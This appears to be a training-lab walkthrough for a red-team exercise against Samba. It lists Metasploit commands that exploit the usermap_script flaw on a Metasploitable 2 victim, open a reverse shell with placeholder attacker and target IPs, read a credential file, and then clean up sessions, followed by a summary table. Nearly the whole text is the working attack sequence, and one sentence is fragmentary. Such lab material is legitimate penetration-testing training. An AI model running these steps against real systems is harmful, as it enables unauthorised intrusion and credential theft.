
RedTeam-SMB-PenTest |
|
msfconsole
Make sure both the attacker host and victim machine are booted and running.

search samba
use exploit/multi/samba/usermap_script
set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse
exploit
whoami
hostname
cd /redteam7/student3
cat mypass.txt
# Leave current shell
Ctrl C
exit
# Kill all background jobs
sessions -K
jobs -K
# Restart Metasploit
msfconsole
usermap_script are highly vulnerable.| Component | Details |
|---|
| Attacker VM | Kali Linux |
| Victim VM | Metasploitable 2 |
| Target Port | 445 (Samba/SMB) |
| Exploit Used | exploit/multi/samba/usermap_script |
| Credential Target | /redteam7/student3/mypass.txt |